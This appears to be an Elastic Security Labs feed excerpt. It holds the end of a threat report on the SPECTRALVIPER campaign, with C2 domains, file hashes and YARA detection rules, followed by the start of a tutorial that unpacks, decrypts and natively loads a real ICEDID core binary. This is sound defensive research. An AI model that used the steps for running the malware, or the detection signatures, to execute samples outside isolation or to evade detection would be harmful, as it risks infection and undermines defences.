<h3>Campaign analysis</h3>
<p>The overlap with the REF4322 environment occurred fairly recently, on April 20, 2023. One of these endpoints was previously infected with the PHOREAL implant, while the other endpoint was compromised with PIPEDANCE.</p>
<p>These SPECTRALVIPER infections were configured under pipe mode as opposed to hardcoded domains set to wait for incoming connection over a named pipe ( <strong>\.\pipe\ydZb0bIrT</strong> ).</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/elastic-charms-spectralviper/image18.jpg" alt="SPECTRALVIPER coresident on a PIPEDANCE-infected host" /></p>
<p>This activity appears to be a handoff of access or swapping out of one tool for another.</p>
<blockquote>
<p>If you’re interested in a detailed breakdown of the PIPEDANCE malware, check out our <a href="https://www.elastic.co/pt/security-labs/twice-around-the-dance-floor-with-pipedance">previous research</a> and stay tuned, more to come.</p>
</blockquote>
<p>Post-exploitation collection of intended effects has been limited, however, while speculative in nature, a motivation assessment based on malware, implant, and technical capabilities points to achieving initial access, maintaining persistence, and operating as a backdoor for intelligence gathering purposes.</p>
<p>Domains from REF4322, REF2754, and from samples collected from VirusTotal used for C2 have all been registered in the last year with the most recent being in late April 2023.</p>
<table>
<thead>
<tr>
<th>Domain:</th>
<th>Created:</th>
</tr>
</thead>
<tbody>
<tr>
<td>stablewindowsapp[.]com</td>
<td>2022-02-10</td>
</tr>
<tr>
<td>webmanufacturers[.]com</td>
<td>2022-06-10</td>
</tr>
<tr>
<td>toppaperservices[.]com</td>
<td>2022-12-15</td>
</tr>
<tr>
<td>hosting-wordpress-services[.]com</td>
<td>2023-03-15</td>
</tr>
<tr>
<td>appointmentmedia[.]com</td>
<td>2023-04-26</td>
</tr>
</tbody>
</table>
<p>GEOs for associated IPs for these domains are globally distributed, and they use Sectigo, Rapid SSL, and Let’s Encrypt certs. Further infrastructure analysis did not uncover anything of note beyond their registration date, which does give us a campaign timebox. Based on the recent registration of <strong>appointmentmedia[.]com</strong>, this campaign could still be ongoing with new domains being registered for future intrusions.</p>
<h3>Campaign associations</h3>
<p>Elastic Security Labs concludes with moderate confidence that both REF4322 and REF2754 activity groups represent campaigns planned and executed by a Vietnamese state-affiliated threat. Based on our analysis, this activity group overlaps with prior reporting of Canvas Cyclone, APT32, and OCEANLOTUS threat groups.</p>
<p>As stated above and in previous reporting, the REF4322 victim is a financial institution that manages capital for business acquisitions and former State-Owned-Enterprises.</p>
<p>The REF2754 victim is a large agribusiness that is systemically important in the food production and distribution supply chains of Vietnam. Ongoing urbanization, pollution, the COVID-19 pandemic, and climate change have been challenges for Vietnam’s food security. As a data point, in March of 2023, Vietnam’s Prime Minister <a href="https://apps.fas.usda.gov/newgainapi/api/Report/DownloadReportByFileName?fileName=Vietnam%20Issues%20National%20Action%20Plan%20on%20Food%20Systems%20Transformation%20toward%20Transparency%20Responsibility%20and%20Sustainability%20by%202030_Hanoi_Vietnam_VM2023-0017.pdf">approved</a> the National Action Plan on Food Systems Transformation toward Transparency, Responsibility, and Sustainability in Vietnam by 2030. Its overall objective is to transform the food systems including production, processing, distribution, and consumption towards transparency, responsibility, and sustainability based on local advantages; to ensure national food and nutrition security; to improve people's income and living standards; to prevent and control natural disasters and epidemics; to protect the environment and respond to climate change; and finally to contribute to the rolling-out of the Vietnam and Global Sustainable Development Goals by 2030. All of this highlights that food security has been a point of national policy emphasis, which also makes the victims of REF2754 an attractive target to threat actors because of their intersection with Vietnam’s strategic objectives.</p>
<p>In addition to the nationally-aligned strategic interests of the victims for REF4322 and REF2754, both victims were infected with the DONUTLOADER, P8LOADER, POWERSEAL, and SPECTRALVIPER malware families using similar deployment techniques, implant management, and naming conventions in both intrusions.</p>
<p>A threat group with access to the financial transaction records available in REF4322, combined with the national strategic food safety policy for REF2754 would provide insight into competency of management, corruption, foreign influence, or price manipulations otherwise unavailable through regulatory reporting.</p>
<h3>Diamond model</h3>
<p>Elastic Security utilizes the <a href="https://www.activeresponse.org/wp-content/uploads/2013/07/diamond.pdf">Diamond Model</a> to describe high-level relationships between the adversaries, capabilities, infrastructure, and victims of intrusions. While the Diamond Model is most commonly used with single intrusions, and leveraging Activity Threading (section 8) as a way to create relationships between incidents, an adversary-centered (section 7.1.4) approach allows for a (cluttered) single diamond.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/elastic-charms-spectralviper/image12.png" alt="REF2754 Diamond Model" /></p>
<h2>Observed adversary tactics and techniques</h2>
<p>Elastic uses the MITRE ATT&amp;CK framework to document common tactics, techniques, and procedures that advanced persistent threats use against enterprise networks.</p>
<h3>Tactics</h3>
<p>Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.</p>
<ul>
<li><a href="https://attack.mitre.org/tactics/TA0001">Initial access</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0002">Execution</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0005">Defense evasion</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0007">Discovery</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0008/">Lateral movement</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0009">Collection</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0011">Command and control</a></li>
</ul>
<h3>Techniques / Sub techniques</h3>
<p>Techniques and Sub techniques represent how an adversary achieves a tactical goal by performing an action.</p>
<ul>
<li><a href="https://attack.mitre.org/techniques/T1592/">Gather host information</a></li>
<li><a href="https://attack.mitre.org/techniques/T1590/">Gather victim network information</a></li>
<li><a href="https://attack.mitre.org/techniques/T1135/">Network share discovery</a></li>
<li><a href="https://attack.mitre.org/techniques/T1018/">Remote system discovery</a></li>
<li><a href="https://attack.mitre.org/techniques/T1083/">File and directory discovery</a></li>
<li><a href="https://attack.mitre.org/techniques/T1057/">Process discovery</a></li>
<li><a href="https://attack.mitre.org/techniques/T1007/">System service discovery</a></li>
<li><a href="https://attack.mitre.org/techniques/T1033/">System owner/user discovery</a></li>
<li><a href="https://attack.mitre.org/techniques/T1055/">Process injection</a></li>
<li><a href="https://attack.mitre.org/techniques/T1036/">Masquerading</a></li>
<li><a href="https://attack.mitre.org/techniques/T1071/001/">Application layer protocol: Web protocols</a></li>
<li><a href="https://attack.mitre.org/techniques/T1134/003/">Access Token Manipulation: Make and Impersonate Token</a></li>
</ul>
<h2>Detection logic</h2>
<h3>Preventions</h3>
<p>All of the malware discussed in this research publication have protections included in Elastic Defend.</p>
<ul>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_SpectralViper.yar">Windows.Trojan.SpectralViper</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_PowerSeal.yar">Windows.Trojan.PowerSeal</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_P8Loader.yar">Windows.Trojan.P8Loader</a></li>
</ul>
<h3>YARA</h3>
<p>Elastic Security has created YARA rules to identify this activity. Below are YARA rules to identify SPECTRALVIPER, POWERSEAL, and P8LOADER</p>
<pre><code>rule Windows_Trojan_SpectralViper_1 {
    meta:
        author = &quot;Elastic Security&quot;
        creation_date = &quot;2023-04-13&quot;
        last_modified = &quot;2023-05-26&quot;
        os = &quot;Windows&quot;
        arch = &quot;x86&quot;
        category_type = &quot;Trojan&quot;
        family = &quot;SpectralViper&quot;
        threat_name = &quot;Windows.Trojan.SpectralViper&quot;
        reference_sample = &quot;7e35ba39c2c77775b0394712f89679308d1a4577b6e5d0387835ac6c06e556cb&quot;
       license = &quot;Elastic License v2&quot;

    strings:
        $a1 = { 13 00 8D 58 FF 0F AF D8 F6 C3 01 0F 94 44 24 26 83 FD 0A 0F 9C 44 24 27 4D 89 CE 4C 89 C7 48 89 D3 48 89 CE B8 }
        $a2 = { 15 00 8D 58 FF 0F AF D8 F6 C3 01 0F 94 44 24 2E 83 FD 0A 0F 9C 44 24 2F 4D 89 CE 4C 89 C7 48 89 D3 48 89 CE B8 }
        $a3 = { 00 8D 68 FF 0F AF E8 40 F6 C5 01 0F 94 44 24 2E 83 FA 0A 0F 9C 44 24 2F 4C 89 CE 4C 89 C7 48 89 CB B8 }
        $a4 = { 00 48 89 C6 0F 29 30 0F 29 70 10 0F 29 70 20 0F 29 70 30 0F 29 70 40 0F 29 70 50 48 C7 40 60 00 00 00 00 48 89 C1 E8 }
        $a5 = { 41 0F 45 C0 45 84 C9 41 0F 45 C0 EB BA 48 89 4C 24 08 89 D0 EB B1 48 8B 44 24 08 48 83 C4 10 C3 56 57 53 48 83 EC 30 8B 05 }
        $a6 = { 00 8D 70 FF 0F AF F0 40 F6 C6 01 0F 94 44 24 25 83 FF 0A 0F 9C 44 24 26 89 D3 48 89 CF 48 }
        $a7 = { 48 89 CE 48 89 11 4C 89 41 08 41 0F 10 01 41 0F 10 49 10 41 0F 10 51 20 0F 11 41 10 0F 11 49 20 0F 11 51 30 }
        $a8 = { 00 8D 58 FF 0F AF D8 F6 C3 01 0F 94 44 24 22 83 FD 0A 0F 9C 44 24 23 48 89 D6 48 89 CF 4C 8D }
    condition:
        5 of them
}
</code></pre>
<pre><code>rule Windows_Trojan_SpectralViper_2 {
    meta:
        author = &quot;Elastic Security&quot;
        creation_date = &quot;2023-05-10&quot;
        last_modified = &quot;2023-05-10&quot;
        os = &quot;Windows&quot;
        arch = &quot;x86&quot;
        category_type = &quot;Trojan&quot;
        family = &quot;SpectralViper&quot;
        threat_name = &quot;Windows.Trojan.SpectralViper&quot;
        reference_sample = &quot;d1c32176b46ce171dbce46493eb3c5312db134b0a3cfa266071555c704e6cff8&quot;
       license = &quot;Elastic License v2&quot;

    strings:
        $a1 = { 18 48 89 4F D8 0F 10 40 20 0F 11 47 E0 0F 10 40 30 0F 11 47 F0 48 8D }
        $a2 = { 24 27 48 83 C4 28 5B 5D 5F 5E C3 56 57 53 48 83 EC 20 48 89 CE 48 }
        $a3 = { C7 84 C9 0F 45 C7 EB 86 48 8B 44 24 28 48 83 C4 30 5B 5F 5E C3 48 83 }
        $s1 = { 40 53 48 83 EC 20 48 8B 01 48 8B D9 48 8B 51 10 48 8B 49 08 FF D0 48 89 43 18 B8 04 00 00 }
        $s2 = { 40 53 48 83 EC 20 48 8B 01 48 8B D9 48 8B 49 08 FF D0 48 89 43 10 B8 04 00 00 00 48 83 C4 20 5B }
        $s3 = { 48 83 EC 28 4C 8B 41 18 4C 8B C9 48 B8 AB AA AA AA AA AA AA AA 48 F7 61 10 48 8B 49 08 48 C1 EA }
    condition:
        2 of ($a*) or any of ($s*)
}
</code></pre>
<pre><code>rule Windows_Trojan_PowerSeal_1 {
    meta:
        author = &quot;Elastic Security&quot;
        creation_date = &quot;2023-03-16&quot;
        last_modified = &quot;2023-05-26&quot;
        os = &quot;Windows&quot;
        arch = &quot;x86&quot;
        category_type = &quot;Trojan&quot;
        family = &quot;PowerSeal&quot;
        threat_name = &quot;Windows.Trojan.PowerSeal&quot;
        license = &quot;Elastic License v2&quot;

    strings:
        $a1 = &quot;PowerSeal.dll&quot; wide fullword
        $a2 = &quot;InvokePs&quot; ascii fullword
        $a3 = &quot;amsiInitFailed&quot; wide fullword
        $a4 = &quot;is64BitOperatingSystem&quot; ascii fullword
    condition:
        all of them
}
</code></pre>
<pre><code>rule Windows_Trojan_PowerSeal_2 {
    meta:
        author = &quot;Elastic Security&quot;
        creation_date = &quot;2023-05-10&quot;
        last_modified = &quot;2023-05-10&quot;
        os = &quot;Windows&quot;
        arch = &quot;x86&quot;
        category_type = &quot;Trojan&quot;
        family = &quot;PowerSeal&quot;
        threat_name = &quot;Windows.Trojan.PowerSeal&quot;
        license = &quot;Elastic License v2&quot;

    strings:
        $a1 = &quot;[+] Loading PowerSeal&quot;
        $a2 = &quot;[!] Failed to exec PowerSeal&quot;
        $a3 = &quot;AppDomain: unable to get the name!&quot;
    condition:
        2 of them
}
</code></pre>
<pre><code>rule Windows_Trojan_P8Loader {
    meta:
        author = &quot;Elastic Security&quot;
        creation_date = &quot;2023-04-13&quot;
        last_modified = &quot;2023-05-26&quot;
        os = &quot;Windows&quot;
        arch = &quot;x86&quot;
        category_type = &quot;Trojan&quot;
        family = &quot;P8Loader&quot;
        threat_name = &quot;Windows.Trojan.P8Loader&quot;
        license = &quot;Elastic License v2&quot;

    strings:
        $a1 = &quot;\t[+] Create pipe direct std success\n&quot; fullword
        $a2 = &quot;\tPEAddress: %p\n&quot; fullword
        $a3 = &quot;\tPESize: %ld\n&quot; fullword
        $a4 = &quot;DynamicLoad(%s, %s) %d\n&quot; fullword
        $a5 = &quot;LoadLibraryA(%s) FAILED in %s function, line %d&quot; fullword
        $a6 = &quot;\t[+] No PE loaded on memory\n&quot; wide fullword
        $a7 = &quot;\t[+] PE argument: %ws\n&quot; wide fullword
        $a8 = &quot;LoadLibraryA(%s) FAILED in %s function, line %d&quot; fullword
    condition:
        5 of them
}
</code></pre>
<h2>References</h2>
<p>The following were referenced throughout the above research:</p>
<ul>
<li><a href="https://www.elastic.co/pt/security-labs/hunting-memory">https://www.elastic.co/pt/security-labs/hunting-memory</a></li>
<li><a href="https://www.elastic.co/pt/security-labs/phoreal-malware-targets-the-southeast-asian-financial-sector">https://www.elastic.co/pt/security-labs/phoreal-malware-targets-the-southeast-asian-financial-sector</a></li>
<li><a href="https://www.elastic.co/pt/security-labs/twice-around-the-dance-floor-with-pipedance">https://www.elastic.co/pt/security-labs/twice-around-the-dance-floor-with-pipedance</a></li>
<li><a href="https://www.microsoft.com/en-us/security/blog/2020/11/30/threat-actor-leverages-coin-miner-techniques-to-stay-under-the-radar-heres-how-to-spot-them/">https://www.microsoft.com/en-us/security/blog/2020/11/30/threat-actor-leverages-coin-miner-techniques-to-stay-under-the-radar-heres-how-to-spot-them/</a></li>
<li><a href="https://learn.microsoft.com/en-us/microsoft-365/security/intelligence/microsoft-threat-actor-naming?view=o365-worldwide">https://learn.microsoft.com/en-us/microsoft-365/security/intelligence/microsoft-threat-actor-naming</a></li>
</ul>
<h2>Observations</h2>
<p>All observables are also available for <a href="https://github.com/elastic/labs-releases/tree/main/indicators/spectralviper">download</a> in both ECS and STIX format in a combined zip bundle.</p>
<p>The following observables were discussed in this research.</p>
<table>
<thead>
<tr>
<th>Observable</th>
<th>Type</th>
<th>Name</th>
<th>Reference</th>
</tr>
</thead>
<tbody>
<tr>
<td>56d2d05988b6c23232b013b38c49b7a9143c6649d81321e542d19ae46f4a4204</td>
<td>SHA-256</td>
<td>-</td>
<td>SPECTRALVIPER Related to 1.dll below</td>
</tr>
<tr>
<td>d1c32176b46ce171dbce46493eb3c5312db134b0a3cfa266071555c704e6cff8</td>
<td>SHA-256</td>
<td>1.dll</td>
<td>SPECTRALVIPER</td>
</tr>
<tr>
<td>7e35ba39c2c77775b0394712f89679308d1a4577b6e5d0387835ac6c06e556cb</td>
<td>SHA-256</td>
<td>asdgb.exe</td>
<td>SPECTRALVIPER</td>
</tr>
<tr>
<td>4e3a88cf00e0b4718e7317a37297a185ff35003192e5832f5cf3020c4fc45966</td>
<td>SHA-256</td>
<td>Settings.db</td>
<td>SPECTRALVIPER</td>
</tr>
<tr>
<td>7b5e56443812eed76a94077763c46949d1e49cd7de79cde029f1984e0d970644</td>
<td>SHA-256</td>
<td>Microsoft.MicrosoftEdge_8wekyb3d8bbwe.pkg</td>
<td>SPECTRALVIPER</td>
</tr>
<tr>
<td>5191fe222010ba7eb589e2ff8771c3a75ea7c7ffc00f0ba3f7d716f12010dd96</td>
<td>SHA-256</td>
<td>UpdateConfig.json</td>
<td>SPECTRALVIPER</td>
</tr>
<tr>
<td>4775fc861bc2685ff5ca43535ec346495549a69891f2bf45b1fcd85a0c1f57f7</td>
<td>SHA-256</td>
<td>Microsoft.OneDriveUpdatePackage.mca</td>
<td>SPECTRALVIPER</td>
</tr>
<tr>
<td>2482c7ececb23225e090af08feabc8dec8d23fe993306cb1a1f84142b051b621</td>
<td>SHA-256</td>
<td>ms-certificates.sst</td>
<td>SPECTRALVIPER</td>
</tr>
<tr>
<td>stablewindowsapp[.]com</td>
<td>Domain</td>
<td>n/a</td>
<td>C2</td>
</tr>
<tr>
<td>webmanufacturers[.]com</td>
<td>Domain</td>
<td>n/a</td>
<td>C2</td>
</tr>
<tr>
<td>toppaperservices[.]com</td>
<td>Domain</td>
<td>n/a</td>
<td>C2</td>
</tr>
<tr>
<td>hosting-wordpress-services[.]com</td>
<td>Domain</td>
<td>n/a</td>
<td>C2</td>
</tr>
<tr>
<td>appointmentmedia[.]com</td>
<td>Domain</td>
<td>n/a</td>
<td>C2</td>
</tr>
</tbody>
</table>
]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/pt/security-labs/assets/images/elastic-charms-spectralviper/photo-edited-10@2x.jpg" length="0" type="image/jpg"/>
        </item>
        <item>
            <title><![CDATA[Unpacking ICEDID]]></title>
            <link>https://www.elastic.co/pt/security-labs/unpacking-icedid</link>
            <guid>unpacking-icedid</guid>
            <pubDate>Thu, 04 May 2023 00:00:00 GMT</pubDate>
            <description><![CDATA[ICEDID is known to pack its payloads using custom file formats and a custom encryption scheme. We are releasing a set of tools to automate the unpacking process and help analysts and the community respond to ICEDID.]]></description>
            <content:encoded><![CDATA[<h2>Preamble</h2>
<p>ICEDID is a malware family <a href="https://securityintelligence.com/new-banking-trojan-icedid-discovered-by-ibm-x-force-research/">discovered</a>in 2017 by IBM X-force researchers and is associated with the theft of login credentials, banking information, and other personal information. ICEDID has always been a prevalent family but achieved even more growth since EMOTET’s temporary <a href="https://www.justice.gov/opa/pr/emotet-botnet-disrupted-international-cyber-operation">disruption</a> in early 2021. ICEDID has been linked to the distribution of several distinct malware families including <a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.darkvnc">DarkVNC</a> and <a href="https://www.cybereason.com/blog/threat-analysis-report-all-paths-lead-to-cobalt-strike-icedid-emotet-and-qbot">COBALT STRIKE</a>. Regular industry reporting, including research publications like this one, help mitigate this threat.</p>
<p>ICEDID is known to pack its payloads using custom file formats and a custom encryption scheme. Following our latest <a href="https://www.elastic.co/pt/security-labs/thawing-the-permafrost-of-icedid-summary">ICEDID research</a> that covers the GZip variant execution chain.</p>
<p>In this tutorial, we will introduce these tools by unpacking a recent ICEDID sample starting with downloading a copy of the fake GZip binary:</p>
<p><strong>Analyzing malware can be dangerous to systems and should only be attempted by experienced professionals in a controlled environment, like an isolated virtual machine or analysis sandbox. Malware can be designed to evade detection and infect other systems, so it's important to take all necessary precautions and use specialized tools to protect yourself and your systems.</strong></p>
<p><a href="https://bazaar.abuse.ch/sample/54d064799115f302a66220b3d0920c1158608a5ba76277666c4ac532b53e855f/"><strong>54d064799115f302a66220b3d0920c1158608a5ba76277666c4ac532b53e855f</strong></a></p>
<h2>Environment setup</h2>
<p>For this tutorial, we’re using Windows 10 and Python 3.10.</p>
<p>Elastic Security Labs is releasing a set of tools to automate the unpacking process and help analysts and the community respond to ICEDID.</p>
<table>
<thead>
<tr>
<th>Script</th>
<th>Description</th>
<th>Compatibility</th>
</tr>
</thead>
<tbody>
<tr>
<td>decrypt_file.py</td>
<td>Decrypt ICEDID encrypted file</td>
<td>Windows and others (not tested)</td>
</tr>
<tr>
<td>gzip_variant/extract_gzip.py</td>
<td>Extract payloads from ICEDID fake GZip file</td>
<td>Windows and others (not tested)</td>
</tr>
<tr>
<td>gzip_variant/extract_payload_from_core.py</td>
<td>Extract and decrypt payloads from the rebuilt ICEDID core binary</td>
<td>Windows and others (not tested)</td>
</tr>
<tr>
<td>gzip_variant/load_core.py</td>
<td>Load and execute core custom PE binary</td>
<td>Windows only</td>
</tr>
<tr>
<td>gzip_variant/read_configuration.py</td>
<td>Read ICEDID configuration file contained in the fake GZip</td>
<td>Windows and others (not tested)</td>
</tr>
<tr>
<td>rebuild_pe.py</td>
<td>Rebuild a PE from ICEDID custom PE file</td>
<td>Windows and others (not tested)</td>
</tr>
</tbody>
</table>
<p>In order to use the tools, clone the <a href="https://github.com/elastic/labs-releases">Elastic Security Lab release repository</a> and install the nightMARE module.</p>
<pre><code>git clone https://github.com/elastic/labs-releases
cd labs-release
pip install .\nightMARE\
</code></pre>
<blockquote>
<p>All tools in this tutorial use the <strong>nightMARE</strong> module, this library implements different algorithms we need for unpacking the various payloads embedded within ICEDID. We’re releasing nightMARE because it is required for this ICEDID analysis, but stay tuned - more to come as we continue to develop and mature this framework.</p>
</blockquote>
<h2>Unpacking the fake GZip</h2>
<p>The ICEDID fake GZip is a file that <a href="https://attack.mitre.org/techniques/T1036/008/">masquerades</a> as a valid GZip file formatted by encapsulating the real data with a <a href="https://docs.fileformat.com/compression/gz/">GZip header and footer</a>.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/unpacking-icedid/image20.jpg" alt="GZip header and footer" /></p>
<p>GZip magic bytes appear in red.<br />
The GZip header is rendered in green.<br />
The dummy filename value is blue.</p>
<p>After the GZip header is the true data structure, which we describe below.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/unpacking-icedid/image19.jpg" alt="FakeGzip data structure" /></p>
<p>We will use the <strong>labs-releases\tools\icedid\gzip-variant\extract_gzip.py</strong> script to unpack this fraudulent GZip.</p>
<pre><code>usage: extract_gzip.py [--help] input output

positional arguments:
  input       Input file
  output      Output directory

options:
  -h, --help  show this help message and exit
</code></pre>
<p>We'll use extract_gzip.py on the ICEDID sample linked above and store the contents into a folder we created called “ <strong>extract</strong> ” (you can use any existing output folder).</p>
<pre><code>python extract_gzip.py 54d064799115f302a66220b3d0920c1158608a5ba76277666c4ac532b53e855f extract

============================================================
Fake Gzip
============================================================
is_dll: True
core: UponBetter/license.dat (354282 bytes)
stage_2: lake_x32.tmp (292352 bytes)

extract\configuration.bin
extract\license.dat
extract\lake_x32.tmp
</code></pre>
<p>This script returns three individual files consisting of:</p>
<ul>
<li>The encrypted configuration file: <strong>configuration.bin</strong></li>
<li>The encrypted core binary: <strong>license.dat</strong></li>
<li>The persistence loader: <strong>lake_x32.tmp</strong></li>
</ul>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/unpacking-icedid/image11.jpg" alt="Files extracted from the fake GZip" /></p>
<h2>Decrypting the core binary and configuration files</h2>
<p>The configuration and the core binary we extracted are encrypted using ICEDID’s custom encryption scheme. We can decrypt them with the <strong>labs-releases\tools\icedid\decrypt_file.py</strong> script.</p>
<pre><code>usage: decompress_file.py [--help] input output

positional arguments:
  input       Input file
  output      Output file

options:
  -h, --help  show this help message and exit
</code></pre>
<p>As depicted here (note that decrypted files can be written to any valid destination):</p>
<pre><code>python .\decrypt_file.py .\extract\license.dat .\extract\license.dat.decrypted

python .\decrypt_file.py .\extract\configuration.bin .\extract\configuration.bin.decrypted
</code></pre>
<p>The core binary and the configuration are now ready to be processed by additional tools. See the data from the decrypted configuration presented in the following screenshot:</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/unpacking-icedid/image17.jpg" alt="Hex view of the decrypted configuration file" /></p>
<h2>Reading the configuration</h2>
<p>The configuration file format is presented below.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/unpacking-icedid/image4.png" alt="Configuration file" /></p>
<p>The configuration can be read using the <strong>labs-releases\tools\icedid\gzip-variant\read_configuration.py</strong> script.</p>
<pre><code>usage: read_configuration.py [--help] input

positional arguments:
  input       Input file

options:
  -h, --help  show this help message and exit
</code></pre>
<p>We’ll use the <strong>read_configuration.py</strong> script to read the <strong>configuration.bin.decrypted</strong> file we collected in the previous step.</p>
<pre><code>python .\gzip-variant\read_configuration.py .\extract\configuration.bin.decrypted

============================================================
Configuration
============================================================
botnet_id: 0x3B7D6BA4
auth_var: 0x00000038
uri: /news/
domains:
        alishaskainz.com
        villageskaier.com
</code></pre>
<p>This configuration contains two C2 domains:</p>
<ul>
<li>alishaskainz[.]com</li>
<li>villageskaier[.]com</li>
</ul>
<p>For this sample, the beaconing URI that ICEDID uses is “ <strong>/news/</strong> ”.</p>
<h2>Rebuilding the core binary for static analysis</h2>
<p>ICEDID uses a custom PE format to obfuscate its payloads thus defeating static or dynamic analysis tools that expect to deal with a normal Windows executable. The custom PE file format is described below.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/unpacking-icedid/image8.jpg" alt="Custom PE file format" /></p>
<p>If we want to analyze the core binary, for example with <a href="https://hex-rays.com/IDA-pro/">IDA Pro</a>, we need to rebuild it into a valid PE. We use the <strong>labs-releases\tools\icedid\rebuild_pe.py</strong> script.</p>
<pre><code>usage: rebuild_pe.py [--help] [-o OFFSET] input output

positional arguments:
  input                 Input file
  output                Output reconstructed PE

options:
  -h, --help            show this help message and exit
  -o OFFSET, --offset OFFSET
                        Offset to real data, skip possible garbage
</code></pre>
<p>However, when attempting to use <strong>rebuild_pe.py</strong> on the decrypted core binary, <strong>license.dat.decrypted</strong> , we receive the following error message:</p>
<pre><code>python .\rebuild_pe.py .\extract\license.dat.decrypted .\extract\core.bin
Traceback (most recent call last):
  File &quot;rebuild_pe.py&quot;, line 32, in &lt;module&gt;
    main()
  File &quot;rebuild_pe.py&quot;, line 28, in main
    custom_pe.CustomPE(data).to_pe().write(args.output)
  File &quot;nightmare\malware\icedid\custom_pe.py&quot;, line 86, in __init__
    raise RuntimeError(&quot;Failed to parse custom pe&quot;)
RuntimeError: Failed to parse custom pe
</code></pre>
<p>The subtlety here is that the custom PE data doesn’t always start at the beginning of the file. In this case, for example, if we open the file in a hexadecimal editor like <a href="https://mh-nexus.de/en/hxd/">HxD</a> we can observe a certain amount of garbage bytes before the actual data.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/unpacking-icedid/image14.jpg" alt="Prepended garbage bytes" /></p>
<p>We know from our research that the size of the garbage is <strong>129</strong> bytes.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/unpacking-icedid/image1.jpg" alt="Identifying garbage size" /></p>
<p>With that in mind, we can skip over the garbage bytes and rebuild the core binary using the <strong>rebuild_pe.py</strong> script using the <strong>“-o 129”</strong> parameter. This time we, fortunately, receive no error message. <strong>core.bin</strong> will be saved to the output directory, <strong>extract</strong> in our example.</p>
<pre><code>python .\rebuild_pe.py .\extract\license.dat.decrypted .\extract\core.bin -o 129
</code></pre>
<p>The rebuilt PE object is <strong>not</strong> directly executable but you can statically analyze it using your disassembler of choice.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/unpacking-icedid/image5.jpg" alt="IDA view of core.bin" /></p>
<p>We assigned custom names to the rebuilt binary sections ( <strong>.mare{0,1,2,...}</strong> ).</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/unpacking-icedid/image7.jpg" alt="Rebuilt binary section names" /></p>
<p>We want to credit and thank <a href="https://github.com/hasherezade/funky_malware_formats/blob/f1cacba4ee347601dceacda04e4de8c699971d29/iced_id_parser/iceid_to_pe.cpp#L10">Hasherezade’s work</a> from which we took inspiration to build this tool.</p>
<h2>Executing the core binary (Windows only)</h2>
<p>The core binary can’t be executed without a custom loader that understands ICEDID’s custom PE format as well as the entry point function prototype.</p>
<p>From our research, we know that the entry point expects a structure we refer to as the context structure, which contains ICEDID core and persistence loader paths with its encrypted configuration. The context structure is described below.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/unpacking-icedid/image2.jpg" alt="Context structure" /></p>
<p>To natively execute the core binary we use the <strong>labs-releases\tools\icedid\gzip-variant\load_core.py</strong> script, but before using it we need to create the <strong>context.json</strong> file that’ll contain all the information needed by this script to build this structure.</p>
<p>For this sample, we copy the information contained in the fake gzip and we use the path to the encrypted configuration file. We’ve included an example at <strong>gzip_variant/context.json.example</strong>.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/unpacking-icedid/image3.jpg" alt="Example configuration file" /></p>
<p>Please note that <strong>“field_0”</strong> and <strong>“stage_2_export”</strong> values have to be found while reversing the sample.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/unpacking-icedid/image16.jpg" alt="Populating values from previous research" /></p>
<p>Here we use values from our previous research as placeholders but we have no guarantee that the sample will work 100%. For example, in this sample, we don’t know if the <strong>#1</strong> ordinal export is the actual entry point of the persistence loader.</p>
<p>We also reproduce the first stage behavior by creating the <strong>UponBetter</strong> directory and moving the <strong>license.dat</strong> file into it.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/unpacking-icedid/image18.jpg" alt="license.dat in the UponBetter directory" /></p>
<p>We execute the <strong>labs-releases\tools\icedid\gzip_variant\load_core.py</strong> script using the <strong>decrypted core</strong> binary: <strong>license.dat.decrypted</strong> , the <strong>context.json</strong> file.</p>
<p><strong>WARNING: The binary is going to be loaded/executed natively by this script, Elastic Security Labs does not take responsibility for any damage to your system. Please execute only within a safe environment.</strong></p>
<pre><code>usage: load_core.py [--help] [-o OFFSET] core_path ctx_path

positional arguments:
  core_path             Core custom PE
  ctx_path              Path to json file defining core's context

options:
  -h, --help            show this help message and exit
  -o OFFSET, --offset OFFSET
                        Offset to real data, skip possible garbage
</code></pre>
<p>Because we have the same garbage bytes problem as stated in the previous section, we use the <strong>“-o 129”</strong> parameter to skip over the garbage bytes.</p>
<pre><code>python .\gzip-variant\load_core.py .\extract\license.dat.decrypted .\gzip-variant\context.example.json -o 129

============================================================
Core Loader
============================================================
Base address: 0x180000000
Entrypoint: 0x180001390

Press a key to call entrypoint...
</code></pre>
<p>When launched, the script will wait for user input before calling the entry point. We can easily attach a debugger to the Python process and set a breakpoint on the ICEDID core entry point (in this example <strong>0x180001390</strong> ).</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/unpacking-icedid/image13.jpg" alt="Breakpoint set on the ICEDID core entry point" /></p>
<p>Once the key is pressed, we reach the entry point.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/unpacking-icedid/image15.jpg" alt="ICEDID entry point" /></p>
